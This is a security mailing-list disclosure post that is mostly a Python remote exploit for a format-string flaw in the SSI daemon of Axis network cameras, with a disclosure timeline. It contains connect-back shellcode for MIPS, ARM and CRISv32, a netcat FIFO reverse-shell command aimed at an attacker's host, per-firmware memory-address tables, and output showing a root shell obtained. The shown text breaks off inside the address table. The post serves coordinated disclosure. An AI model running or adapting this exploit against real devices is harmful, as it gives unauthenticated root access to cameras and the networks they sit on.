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Message-ID: <VI1PR08MB08786BE8623C8F02BAA880E2D0360@VI1PR08MB0878.eurprd08.prod.outlook.com>
Date: Mon, 18 Jul 2016 07:24:38 +0000
From: bashis <mcw@...mail.eu>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>,
"bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: [Remote Format String Exploit] Axis Communications MPQT/PACS Server
Side Include (SSI) Daemon
#!/usr/bin/env python2.7
#
# [SOF]
#
# [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon
# Research and development by bashis <mcw noemail eu> 2016
#
# This format string vulnerability has following characteristic:
# - Heap Based (Exploiting string located on the heap)
# - Blind Attack (No output the remote attacker)(*)
# - Remotly exploitable (As anonymous, no credentials needed)
#
# (*) Not so 'Blind' after all, since the needed addresses can be predicted by statistic.
#
# This exploit has following characteristic:
# - Multiple architecture exploit (MIPS/CRISv32/ARM) [From version 5.20.x]
# - Modifying LHOST/LPORT in shellcode on the fly
# - Manual exploiting of remote targets
# - Simple HTTPS support
# - Basic Authorization support (not needed for this exploit)
# - FMS dictionary and predicted addresses for GOT free() / BSS / Netcat shellcode
# - Multiple shellcodes (ARM, CRISv32, MIPS and Netcat PIPE shell)
# - Exploiting with MIPS, CRISv32 and ARM shellcode will give shell as root
# - Exploiting with ARM Netcat PIPE shell give normally shell as Anonymous (5.2x and 5.4x give shell as root)
# - Multiple FMS exploit techniques
# - "One-Write-Where-And-What" for MIPS and CRISv32
# Using "Old Style" POP's
# Classic exploit using: Count to free() GOT, write shellcode address, jump to shellcode on free() call
# Shellcode loaded in memory by sending shellcode URL encoded, that SSI daemon decodes and keeps in memory.
# - "Two-Write-Where-And-What" for ARM
# 1) "Old Style": Writing 1x LSB and 1x MSB by using offsets for GOT free() target address
# 2) "New Style": ARM Arch's have both "Old Style" (>5.50.x) )POPs and "New Style" (<5.40.x) direct parameter access for POP/Write
# [Big differnce in possibilities between "Old Style" and "New Style", pretty interesting actually]
# - Another way to POP with "Old Style", to be able POPing with low as 1 byte (One byte with %1c instead of eight with %8x)
# - Exploit is quite well documented
#
# Anyhow,
# Everything started from this simple remote request:
#
# ---
# $ echo -en "GET /httpDisabled.shtml?&http_user=%p|%p HTTP/1.0\n\n" | netcat 192.168.0.90 80
# HTTP/1.1 500 Server Error
# Content-Type: text/html; charset=ISO-8859-1
#
# <HTML><HEAD><TITLE>500 Server Error</TITLE></HEAD>
# <BODY><H1>500 Server Error</H1>
# The server encountered an internal error and could not complete your request.
# </BODY></HTML>
# ---
#
# Which gave this output in /var/log/messages on the remote device:
#
# ---
# <CRITICAL> Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:635: getpwnam() failed for user: 0x961f0|0x3ac04b10
# <CRITICAL> Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:303: Failed to get authorization data.
# ---
#
# Which resulted into an remote exploit for more than 200 unique Axis Communication MPQT/PACS products
#
# ---
# $ netcat -vvlp 31337
# listening on [any] 31337 ...
# 192.168.0.90: inverse host lookup failed: Unknown host
# connect to [192.168.0.1] from (UNKNOWN) [192.168.0.90] 55738
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),51(viewer),52(operator),53(admin),54(system),55(ptz)
# pwd
# /usr/html
# ---
#
# Some technical notes:
#
# 1. Direct addressing with %<argument>$%n is "delayed", and comes in force only after disconnect.
# Old metod with POP's coming into force instantly
#
# 2. Argument "0" will be assigned (after using old POP metod and %n WRITE) the next address on stack after POP's)
# - Would be interesting to investigate why.
#
# 3. Normal Apache badbytes: 0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20, 0x23, 0x26
# Goodbytes: 0x01-0x08, 0x0e-0x1f, 0x21-0x22, 0x24-0x25, 0x27-0xff
#
# 3.1 Normal Boa badbytes: 0x00-0x08, 0x0b-0x0c, 0x0e-0x19, 0x80-0xff
# Goodbytes: 0x09, 0x0a, 0x0d, 0x20-0x7f
#
# 3.2 Apache and Boa, by using URL encoded shellcode as in this exploit:
# Badbytes = None, Goodbytes = 0x00 - 0xff (Yay!)
#
# 4. Everything is randomized, except heap.
#
# 5. My initial attempts to use ROP's was not good, as I didn't want to create
# one unique FMS key by testing each single firmware version, and using ROP with FMS
# on heap seems pretty complicated as there is one jump availible, maximum two.
#
# 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case.
#
# 6. Encoded and Decoded shellcode located in .bss section.
# 6.1 FMS excecuted on heap
#
# 7. Vulnerable MPQT/PACS architectures: CRISv32, MIPS and ARM
# 7.1 ARM has nonexecutable stack flag bit set (>5.20.x) by default on their binaries/libs,
# so execute shellcode on heap/stack may be impossible.
# 7.2 ARM shellcode and exploit has been verified by setting executable stack flag bit on binaries,
# and re-compile of the image.
# 7.3 However, ARM is easily exploitable with netcat shell, that's using the builtin '/bin/sh -c' code to execute.
#
# 8. This exploit are pretty well documented, more details can be extracted by reading
# the code and comments.
#
# MIPS ssid maps
# 00400000-0040d000 r-xp 00000000 00:01 2272 /bin/ssid
# 0041d000-0041e000 rw-p 0000d000 00:01 2272 /bin/ssid
# 0041e000-00445000 rwxp 00000000 00:00 0 [heap]
#
# ARM ssid maps
# 00008000-00014000 r-xp 00000000 00:01 2055 /bin/ssid
# 0001c000-0001d000 rw-p 0000c000 00:01 2055 /bin/ssid
# 0001d000-00044000 rw-p 00000000 00:00 0 [heap]
#
# Crisv32 ssid maps
# 00080000-0008c000 r-xp 00000000 1f:03 115 /bin/ssid
# 0008c000-0008e000 rw-p 0000a000 1f:03 115 /bin/ssid
# 0008e000-000b6000 rwxp 0008e000 00:00 0 [heap]
#
# General notes:
#
# When the vul daemon process is exploited, and after popping root connect-back shell,
# the main process are usally restarted by respawnd, after the shell have spawned and taken over the parent process,
# when the main process are fully alive again, I can enjoy the shell, and everybody else can
# enjoy of the camera - that should make all of us happy ;)
# During exploiting, logs says almost nothing, only that the main process restarted.
# Note: Not true with ARM Netcat PIPE shell (as the code will vfork() and wait until child exits)
#
# '&http_user=' is the vuln tag, and the FMS will be excecuted when it will try to do vsyslog(),
# after ssid cannot verify the user, free() are the closest function to be called after
# vsyslog(), needed and perfect to use for jumping.
# There is nothing shown for remote user, possible output of FMS are _only_ shown in log/console.
# So we are pretty blind, but due to fixed FMS keys, that doesn't matter for us - it's predictable by statistics.
#
# Quite surprised to see so many different devices and under one major release version,
# that's covered by one "FMS key". The "FMS key" are valid for all minor versions under the major version.
#
# This made me start thinking how brilliant and clever it would be to make an sophisticated door that's using format string as backdoor,
# which generates no FMS output whatsoever to attacker and unlocked by a 'FMS key', instead of using hardcoded login/password.
#
# - No hardcoded login/password that could easily be found in firmware/software files.
# - Extremely hard to find without local access (and find out what to trigger for opening the door)
# - Nobody can not actually prove it is a sophisticated door for sure. "It's just another bug.. sorry! - here is the fixed version."
# (Only to close this door, and open another door, somewhere else, in any binary - and try make it harder to find)
#
# Note:
# I don't say that Axis Communication has made this hidden format string by this purpose.
# I can only believe it was a really stupid mistake from Axis side, after I have seen one screen-dump of the CVS changelog of SSI Daemon,
# and another screen-dump with the change made late 2009, from non-vulnerable to vulnerable, in the affected code of logerr().
#
# Vulnerable and exploitable products
#
# A1001, A8004-VE, A9188, C3003, F34, F41, F44, M1124, M1124-E, M1125, M1125-E, M1145, M1145-L, M3006,
# M3007, M3026, M3027, M3037, M7010, M7011, M7014, M7016, P1125, P1353, P1354, P1355, P1357, P1364,
# P1365, P1405, P1405-E, P1405-LE, P1425-E, P1425-LE, P1427, P1427-E, P1435, P3214, P3214-V, P3215,
# P3215-V, P3224, P3224-LVE, P3225-LV, P3353, P3354, P3363, P3364, P3364-L, P3365, P3367, P3384,
# P3707-PE, P3904, P3904-R, P3905, P3915-R, P5414-E, P5415-E, P5514, P5514-E, P5515, P5515-E, P5624,
# P5624-E, P5635-E, P7210, P7214, P7216, P7224, P8535, Q1602, Q1604, Q1614, Q1615, Q1635, Q1635-E,
# Q1765-LE, Q1765-LE-PT, Q1775, Q1931-E, Q1931-E-PT, Q1932-E, Q1932-E-PT, Q1941-E, Q2901-E, Q2901-E-PT,
# Q3504, Q3505, Q6000-E, Q6042, Q6042-C, Q6042-E, Q6042-S, Q6044, Q6044-C, Q6044-E, Q6044-S, Q6045,
# Q6045-C, Q6045-E, Q6045-S, Q6114-E, Q6115-E, Q7411, Q7424-R, Q7436, Q8414, Q8414-LVS, Q8631-E, Q8632-E,
# Q8665-E, Q8665-LE, V5914, V5915, M1054, M1103, M1104, M1113, M1114, M2014-E, M3014, M3113, M3114, M3203,
# M3204, M5013, M5014, M7001, P12/M20, P1204, P1214, P1214-E, P1224-E, P1343, P1344, P1346, P1347, P2014-E,
# P3301, P3304, P3343, P3344, P3346, P3346-E, P5512, P5512-E, P5522, P5522-E, P5532, P5532-E, P5534, P5534-E,
# P5544, P8221, P8513, P8514, P8524, Q1755, Q1910, Q1921, Q1922, Q6032, Q6032-C, Q6032-E, Q6034, Q6034-C,
# Q6034-E, Q6035, Q6035-C, Q6035-E, Q7401, Q7404, Q7406, Q7414, Q8721-E, Q8722-E, C, M1004-W, M1011, M1011-W,
# M1013, M1014, M1025, M1031-W, M1033-W, M1034-W, M1143-L, M1144-L, M3004, M3005, M3011, M3024, M3024-L,
# M3025, M3044-V, M3045-V, M3046-V, P1311, P1428-E, P7701, Q3709-PVE, Q3708-PVE, Q6128-E... and more
#
# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt
#
# Firmware versions vulnerable to the SSI FMS exploit
#
# ('V.Vx' == The FMS key used in this exploit)
#
# Firmware Introduced CRISv32 MIPS ARM (no exec heap from >5.20.x)
# 5.00.x 2008 - - no
# 5.01.x 2008 no - no
# 5.02.x 2008 no - -
# 5.05.x 2009 no - -
# 5.06.x 2009 no - -
# 5.07.x 2009 no - no
# 5.08.x 2010 no - -
# 5.09.x 2010 no - -
# 5.10.x 2009 no - -
# 5.11.x 2010 no - -
# 5.12.x 2010 no - -
# 5.15.x 2010 no - -
# 5.16.x 2010 no - -
# 5.20.x 2010-2011 5.2x - 5.2x
# 5.21.x 2011 5.2x - 5.2x
# 5.22.x 2011 5.2x - -
# 5.25.x 2011 5.2x - -
# 5.40.x 2011 5.4x 5.4x 5.4x
# 5.41.x 2012 5.4x - -
# 5.50.x 2013 5.5x 5.5x 5.4x
# 5.51.x 2013 - 5.4x -
# 5.55.x 2013 - 5.5x 5.5x
# 5.60.x 2014 - 5.6x 5.6x
# 5.65.x 2014-2015 - 5.6x -
# 5.70.x 2015 - 5.7x -
# 5.75.x 2015 - 5.7x 5.7x
# 5.80.x 2015 - 5.8x 5.8x
# 5.81.x 2015 - 5.8x -
# 5.85.x 2015 - 5.8x 5.8x
# 5.90.x 2015 - 5.9x -
# 5.95.x 2016 - 5.9x 5.8x
# 6.10.x 2016 - 6.1x -
# 6.15.x 2016 - - 6.1x
# 6.20.x 2016 - 6.2x -
#
# Vendor URL's of still supported and affected products
#
# http://www.axis.com/global/en/products/access-control
# http://www.axis.com/global/en/products/video-encoders
# http://www.axis.com/global/en/products/network-cameras
# http://www.axis.com/global/en/products/audio
#
# Axis Product Security
#
# product-security@...s.com
# http://www.axis.com/global/en/support/product-security
# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt
# http://www.axis.com/global/en/support/faq/FAQ116268
#
# Timetable
#
# - Research and Development: 06/01/2016 - 01/06/2016
# - Sent vulnerability details to vendor: 05/06/2016
# - Vendor responce received: 06/06/2016
# - Vendor ACK of findings received: 07/06/2016
# - Vendor sent verification image: 13/06/2016
# - Confirmed that exploit do not work after vendors correction: 13/06/2016
# - Vendor informed about their service release(s): 29/06/2016
# - Sent vendor a copy of the (this) PoC exploit: 29/06/2016
# - Full Disclosure: 18/07/2016
#
# Quote of the day: Never say "whoops! :o", always say "Ah, still interesting! :>"
#
# Have a nice day
# /bashis
#
#####################################################################################
import sys
import string
import socket
import time
import argparse
import urllib, urllib2, httplib
import base64
import ssl
import re
class do_FMS:
# POP = "%8x" # Old style POP's with 8 bytes per POP
POP = "%1c" # Old style POP's with 1 byte per POP
WRITElln = "%lln" # Write 8 bytes
WRITEn = "%n" # Write 4 bytes
WRITEhn = "%hn" # Write 2 bytes
WRITEhhn = "%hhn" # Write 1 byte
def __init__(self,targetIP,verbose):
self.targetIP = targetIP
self.verbose = verbose
self.fmscode = ""
# Mostly used internally in this function
def Add(self, data):
self.fmscode += data
# 'New Style' Double word (8 bytes)
def AddDirectParameterLLN(self, ADDR):
self.Add('%')
self.Add(str(ADDR))
self.Add('$lln')
# 'New Style' Word (4 bytes)
def AddDirectParameterN(self, ADDR):
self.Add('%')
self.Add(str(ADDR))
self.Add('$n')
# 'New Style' Half word (2 bytes)
def AddDirectParameterHN(self, ADDR):
self.Add('%')
self.Add(str(ADDR))
self.Add('$hn')
# 'New Style' One Byte (1 byte)
def AddDirectParameterHHN(self, ADDR):
self.Add('%')
self.Add(str(ADDR))
self.Add('$hhn')
# Addressing
def AddADDR(self, ADDR):
self.Add('%')
self.Add(str(ADDR))
self.Add('u')
# 'Old Style' POP
def AddPOP(self, size):
if size != 0:
self.Add(self.POP * size)
# Normally only one will be sent, multiple is good to quick-check for any FMS
#
# 'Old Style' Double word (8 bytes)
def AddWRITElln(self, size):
self.Add(self.WRITElln * size)
# 'Old Style' Word (4 bytes)
def AddWRITEn(self, size):
self.Add(self.WRITEn * size)
# 'Old Style' Half word (2 bytes)
def AddWRITEhn(self, size):
self.Add(self.WRITEhn * size)
# 'Old Style' One byte (1 byte)
def AddWRITEhhn(self, size):
self.Add(self.WRITEhhn * size)
# Return the whole FMS string
def FMSbuild(self):
return self.fmscode
class HTTPconnect:
def __init__(self, host, proto, verbose, creds, noexploit):
self.host = host
self.proto = proto
self.verbose = verbose
self.credentials = creds
self.noexploit = noexploit
# Netcat remote connectback shell needs to have raw HTTP connection as we using special characters as '\t','$','`' etc..
def RAW(self, uri):
# Connect-timeout in seconds
timeout = 5
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tmp = self.host.split(':')
HOST = tmp[0]
PORT = int(tmp[1])
if self.verbose:
print "[Verbose] Sending to:", HOST
print "[Verbose] Port:", PORT
print "[Verbose] URI:",uri
s.connect((HOST, PORT))
s.send("GET %s HTTP/1.0\r\n\r\n" % uri)
html = (s.recv(4096)) # We really do not care whats coming back
# if html:
# print "[i] Received:",html
s.shutdown(3)
s.close()
return html
def Send(self, uri):
# The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually
# matter for the functionality of this exploit, only for future references.
headers = {
'User-Agent' : 'MSIE',
}
# Connect-timeout in seconds
timeout = 5
socket.setdefaulttimeout(timeout)
url = '%s://%s%s' % (self.proto, self.host, uri)
if self.verbose:
print "[Verbose] Sending:", url
if self.proto == 'https':
if hasattr(ssl, '_create_unverified_context'):
print "[i] Creating SSL Default Context"
ssl._create_default_https_context = ssl._create_unverified_context
if self.credentials:
Basic_Auth = self.credentials.split(':')
if self.verbose:
print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
try:
pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
except Exception as e:
print "[!] Basic Auth Error:",e
sys.exit(1)
if self.noexploit and not self.verbose:
print "[<] 204 Not Sending!"
html = "Not sending any data"
else:
data = None
req = urllib2.Request(url, data, headers)
rsp = urllib2.urlopen(req)
if rsp:
print "[<] %s OK" % rsp.code
html = rsp.read()
return html
class shellcode_db:
def __init__(self,targetIP,verbose):
self.targetIP = targetIP
self.verbose = verbose
def sc(self,target):
self.target = target
# Connect back shellcode
#
# CRISv32: Written by myself, no shellcode availible out on "The Internet"
# NCSH: My PoC of netcat FIFO / PIPE reverese shell, w/o '-e' option and with $IFS as separators
# MIPSel: Written by Jacob Holcomb (url encoded by me)
# ARM: http://shell-storm.org/shellcode/files/shellcode-754.php
#
# Slightly modified syscall's
MIPSel = string.join([
#close stdin
"%ff%ff%04%28" #slti a0,zero,-1
"%a6%0f%02%24" #li v0,4006
"%4c%f7%f7%03" #syscall 0xdfdfd
#close stdout
"%11%11%04%28" #slti a0,zero,4369
"%a6%0f%02%24" #li v0,4006
"%4c%f7%f7%03" #syscall 0xdfdfd
#close stderr
"%fd%ff%0c%24" #li t4,-3
"%27%20%80%01" #nor a0,t4,zero
"%a6%0f%02%24" #li v0,4006
"%4c%f7%f7%03" #syscall 0xdfdfd
# socket AF_INET (2)
"%fd%ff%0c%24" #li t4,-3
"%27%20%80%01" #nor a0,t4,zero
"%27%28%80%01" #nor a1,t4,zero
"%ff%ff%06%28" #slti a2,zero,-1
"%57%10%02%24" #li v0,4183
"%4c%f7%f7%03" #syscall 0xdfdfd
#
"%ff%ff%44%30" # andi $a0, $v0, 0xFFFF
#
# dup2 stdout
"%c9%0f%02%24" #li v0,4041
"%4c%f7%f7%03" #syscall 0xdfdfd
#
# dup2 stderr
"%c9%0f%02%24" #li v0,4041
"%4c%f7%f7%03" #syscall 0xdfdfd
#
# Port
"PP1PP0%05%3c"
"%01%ff%a5%34"
#
"%01%01%a5%20" #addi a1,a1,257
"%f8%ff%a5%af" #sw a1,-8(sp)
#
# IP
"IP3IP4%05%3c"
"IP1IP2%a5%34"
#
"%fc%ff%a5%af" #sw a1,-4(sp)
"%f8%ff%a5%23" #addi a1,sp,-8
"%ef%ff%0c%24" #li t4,-17
"%27%30%80%01" #nor a2,t4,zero
"%4a%10%02%24" #li v0,4170
"%4c%f7%f7%03" #syscall 0xdfdfd
#
"%62%69%08%3c" #lui t0,0x6962
"%2f%2f%08%35" #ori t0,t0,0x2f2f
"%ec%ff%a8%af" #sw t0,-20(sp)
"%73%68%08%3c" #lui t0,0x6873
"%6e%2f%08%35" #ori t0,t0,0x2f6e
"%f0%ff%a8%af" #sw t0,-16(sp
"%ff%ff%07%28" #slti a3,zero,-1
"%f4%ff%a7%af" #sw a3,-12(sp)
"%fc%ff%a7%af" #sw a3,-4(sp
"%ec%ff%a4%23" #addi a0,sp,-20
"%ec%ff%a8%23" #addi t0,sp,-20
"%f8%ff%a8%af" #sw t0,-8(sp)
"%f8%ff%a5%23" #addi a1,sp,-8
"%ec%ff%bd%27" #addiu sp,sp,-20
"%ff%ff%06%28" #slti a2,zero,-1
"%ab%0f%02%24" #li v0,4011 (execve)
"%4c%f7%f7%03" #syscall 0xdfdfd
], '')
# Working netcat shell
# - $PATH will locate 'mkfifo', 'nc' and 'rm'
# - LHOST / LPORT will be changed on the fly later in the code
# - 1) make FIFO, 2) netcat back to attacker with STDIN to /bin/sh, and PIPE STDOUT back to the remote via FIFO, 3) remove FIFO when exiting
# - $IFS = <space><tab><newline> [By default, and we need <space> or <tab> as separator]
# $ echo -n "$IFS" | hexdump -C
# 00000000 20 09 0a
# - $PS1 = $ [By default, and we need something to "comment" out our trailing FMS code from /bin/sh -c]
#
# '2>/tmp/s' (STDERR > FIFO) Don't work with $IFS as separator
#
# Working with Apache and Boa
# NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0</tmp/s|/bin/sh>/tmp/s\"$IFS\"2>/tmp/s;rm$IFS/tmp/s;$PS1"
NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0</tmp/s|/bin/sh>/tmp/s;rm$IFS/tmp/s;$PS1"
ARMel = string.join([
# original: http://shell-storm.org/shellcode/files/shellcode-754.php
# 32-bit instructions, enter thumb mode
"%01%10%8f%e2" # add r1, pc, #1
"%11%ff%2f%e1" # bx r1
# 16-bit thumb instructions follow
#
# socket(2, 1, 0)
"%02%20" #mov r0, #2
"%01%21" #mov r1, #1
"%92%1a" #sub r2, r2, r2
"%0f%02" #lsl r7, r1, #8
"%19%37" #add r7, r7, #25
"%01%df" #svc 1
#
# connect(r0, &addr, 16)
"%06%1c" #mov r6, r0
"%08%a1" #add r1, pc, #32
"%10%22" #mov r2, #16
"%02%37" #add r7, #2
"%01%df" #svc 1
#
# dup2(r0, 0/1/2)
"%3f%27" #mov r7, #63
"%02%21" #mov r1, #2
#
#lb:
"%30%1c" #mov r0, r6
"%01%df" #svc 1
"%01%39" #sub r1, #1
"%fb%d5" #bpl lb
#
# execve("/bin/sh", ["/bin/sh", 0], 0)
"%05%a0" #add r0, pc, #20
"%92%1a" #sub r2, r2, r2
"%05%b4" #push {r0, r2}
"%69%46" #mov r1, sp
"%0b%27" #mov r7, #11
"%01%df" #svc 1
#
"%c0%46" # .align 2 (NOP)
"%02%00" # .short 0x2 (struct sockaddr)
"PP1PP0" # .short 0x3412 (port: 0x1234)
"IP1IP2IP3IP4" #.byte 192,168,57,1 (ip: 192.168.57.1)
# .ascii "/bin/sh\0\0"
"%2f%62%69%6e" # /bin
"%2f%73%68%00%00" # /sh\x00\x00
"%00%00%00%00"
"%c0%46"
], '')
# Connect-back shell for Axis CRISv32
# Written by mcw noemail eu 2016
#
CRISv32 = string.join([
#close(0)
"%7a%86" # clear.d r10
"%5f%9c%06%00" # movu.w 0x6,r9
"%3d%e9" # break 13
#close(1)
"%41%a2" # moveq 1,r10
"%5f%9c%06%00" # movu.w 0x6,r9
"%3d%e9" # break 13
#close(2)
"%42%a2" # moveq 2,r10
"%5f%9c%06%00" # movu.w 0x6,r9
"%3d%e9" # break 13
#
"%10%e1" # addoq 16,sp,acr
"%42%92" # moveq 2,r9
"%df%9b" # move.w r9,[acr]
"%10%e1" # addoq 16,sp,acr
"%02%f2" # addq 2,acr
#PORT
"%5f%9ePP1PP0" # move.w 0xPP1PP0,r9 #
"%df%9b" # move.w r9,[acr]
"%10%e1" # addoq 16,sp,acr
"%6f%96" # move.d acr,r9
"%04%92" # addq 4,r9
#IP
"%6f%feIP1IP2IP3IP4" # move.d IP4IP3IP2IP1,acr
"%e9%fb" # move.d acr,[r9]
#
#socket()
"%42%a2" # moveq 2,r10
"%41%b2" # moveq 1,r11
"%7c%86" # clear.d r12
"%6e%96" # move.d $sp,$r9
"%e9%af" # move.d $r10,[$r9+]
"%e9%bf" # move.d $r11,[$r9+]
"%e9%cf" # move.d $r12,[$r9+]
"%41%a2" # moveq 1,$r10
"%6e%b6" # move.d $sp,$r11
"%5f%9c%66%00" # movu.w 0x66,$r9
"%3d%e9" # break 13
#
"%6a%96" # move.d $r10,$r9
"%0c%e1" # addoq 12,$sp,$acr
"%ef%9b" # move.d $r9,[$acr]
"%0c%e1" # addoq 12,$sp,$acr
"%6e%96" # move.d $sp,$r9
"%10%92" # addq 16,$r9
"%6f%aa" # move.d [$acr],$r10
"%69%b6" # move.d $r9,$r11
"%50%c2" # moveq 16,$r12
#
# connect()
"%6e%96" # move.d $sp,$r9
"%e9%af" # move.d $r10,[$r9+]
"%e9%bf" # move.d $r11,[$r9+]
"%e9%cf" # move.d $r12,[$r9+]
"%43%a2" # moveq 3,$r10
"%6e%b6" # move.d $sp,$r11
"%5f%9c%66%00" # movu.w 0x66,$r9
"%3d%e9" # break 13
# dup(0) already in socket
#dup(1)
"%6f%aa" # move.d [$acr],$r10
"%41%b2" # moveq 1,$r11
"%5f%9c%3f%00" # movu.w 0x3f,$r9
"%3d%e9" # break 13
#
#dup(2)
"%6f%aa" # move.d [$acr],$r10
"%42%b2" # moveq 2,$r11
"%5f%9c%3f%00" # movu.w 0x3f,$r9
"%3d%e9" # break 13
#
#execve("/bin/sh",NULL,NULL)
"%90%e2" # subq 16,$sp
"%6e%96" # move.d $sp,$r9
"%6e%a6" # move.d $sp,$10
"%6f%0e%2f%2f%62%69" # move.d 69622f2f,$r0
"%e9%0b" # move.d $r0,[$r9]
"%04%92" # addq 4,$r9
"%6f%0e%6e%2f%73%68" # move.d 68732f6e,$r0
"%e9%0b" # move.d $r0,[$r9]
"%04%92" # addq 4,$r9
"%79%8a" # clear.d [$r9]
"%04%92" # addq 4,$r9
"%79%8a" # clear.d [$r9]
"%04%92" # addq 4,$r9
"%e9%ab" # move.d $r10,[$r9]
"%04%92" # addq 4,$r9
"%79%8a" # clear.d [$r9]
"%10%e2" # addq 16,$sp
"%6e%f6" # move.d $sp,$acr
"%6e%96" # move.d $sp,$r9
"%6e%b6" # move.d $sp,$r11
"%7c%86" # clear.d $r12
"%4b%92" # moveq 11,$r9
"%3d%e9" # break 13
], '')
if self.target == 'MIPSel':
return MIPSel
elif self.target == 'ARMel':
return ARMel
elif self.target == 'CRISv32':
return CRISv32
elif self.target == 'NCSH1':
return NCSH
elif self.target == 'NCSH2':
return NCSH
else:
print "[!] Unknown shellcode! (%s)" % str(self.target)
sys.exit(1)
class FMSdb:
def __init__(self,targetIP,verbose):
self.targetIP = targetIP
self.verbose = verbose
def FMSkey(self,target):
self.target = target
target_db = {
#-----------------------------------------------------------------------
# All pointing from free() GOT to shellcode on .bss (Except ARM with NCSH)
#-----------------------------------------------------------------------
#
# Using POP format string, AKA 'Old Style'
#
# MPQT
'MIPS-5.85.x': [
0x41f370, # Adjust to GOT free() address
0x420900, # .bss shellcode address
2, # 1st POP's
2, # 2nd POP's
'axi', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-5.40.3': [
0x41e41c, # Adjust to GOT free() address
0x4208cc, # .bss shellcode address
7, # 1st POP's
11, # 2nd POP's
'ax', # Aligns injected code
450, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-5.4x': [
0x41e4cc, # Adjust to GOT free() address
0x42097c, # .bss shellcode address
7, # 1st POP's
11, # 2nd POP's
'ax', # Aligns injected code
450, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-5.5x': [
0x41d11c, # Adjust to GOT free() address
0x41f728, # .bss shellcode address
5, # 1st POP's
15, # 2nd POP's
'axis', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-5.55x': [
0x41d11c, # Adjust to GOT free() address
0x41f728, # .bss shellcode address
11, # 1st POP's
9, # 2nd POP's
'axis', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# Shared with MPQT and PACS
'MIPS-5.6x': [
0x41d048, # Adjust to GOT free() address
0x41f728, # .bss shellcode address
5, # 1st POP's
15, # 2nd POP's
'axis', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-5.7x': [
0x41d04c, # Adjust to GOT free() address
0x41f718, # .bss shellcode address
2, # 1st POP's
14, # 2nd POP's
'axis', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-5.75x': [
0x41c498, # Adjust to GOT free() address
0x41daf0, # .bss shellcode address
3, # 1st POP's
13, # 2nd POP's
'axi', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# Shared with MPQT and PACS
'MIPS-5.8x': [
0x41d0c0, # Adjust to GOT free() address
0x41e740, # .bss shellcode address
3, # 1st POP's
13, # 2nd POP's
'axi', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-5.9x': [
0x41d0c0, # Adjust to GOT free() address
0x41e750, # .bss shellcode address
3, # 1st POP's
13, # 2nd POP's
'axi', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-6.1x': [
0x41c480, # Adjust to GOT free() address
0x41dac0, # .bss shellcode address
3, # 1st POP's
13, # 2nd POP's
'axi', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-6.2x': [
0x41e578, # Adjust to GOT free() address
0x41fae0, # .bss shellcode address
2, # 1st POP's
2, # 2nd POP's
'axi', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# MPQT
'MIPS-6.20x': [
0x41d0c4, # Adjust to GOT free() address
0x41e700, # .bss shellcode address
3, # 1st POP's
13, # 2nd POP's
'axi', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# PACS
'MIPS-1.3x': [
0x41e4cc, # Adjust to GOT free() address
0x420a78, # .bss shellcode address
7, # 1st POP's
11, # 2nd POP's
'axis', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
# PACS
'MIPS-1.1x': [
0x41e268, # Adjust to GOT free() address
0x420818, # .bss shellcode address
7, # 1st POP's
11, # 2nd POP's
'axis', # Aligns injected code
700, # How big buffer before shellcode
'MIPSel' # Shellcode type
],
#
# Tested with execstack to set executable stack flag bit on bin's and lib's
#
# These two 'Old Style' are not used in the exploit, but kept here as reference as they has been confirmed working.
#
# ARMel with bin/libs executable stack flag set with 'execstack'
# MPQT
'ARM-5.50x': [ #
0x1c1b4, # Adjust to GOT free() address
0x1e7c8, # .bss shellcode address
93, # 1st POP's
1, # 2nd POP's
'axis', # Aligns injected code
700, # How big buffer before shellcode
'ARMel' # Shellcode type (ARMel)
],
# ARMel with bin/libs executable stack flag set with 'execstack'
# MPQT
'ARM-5.55x': [ #
0x1c15c, # Adjust to GOT free() address
0x1e834, # .bss shellcode address
59, # 1st POP's
80, # 2nd POP's
'axis', # Aligns injected code
800, # How big buffer before shellcode
'ARMel' # Shellcode type (ARMel)
],
#
# Using direct parameter access format string, AKA 'New Style'
#
# MPQT
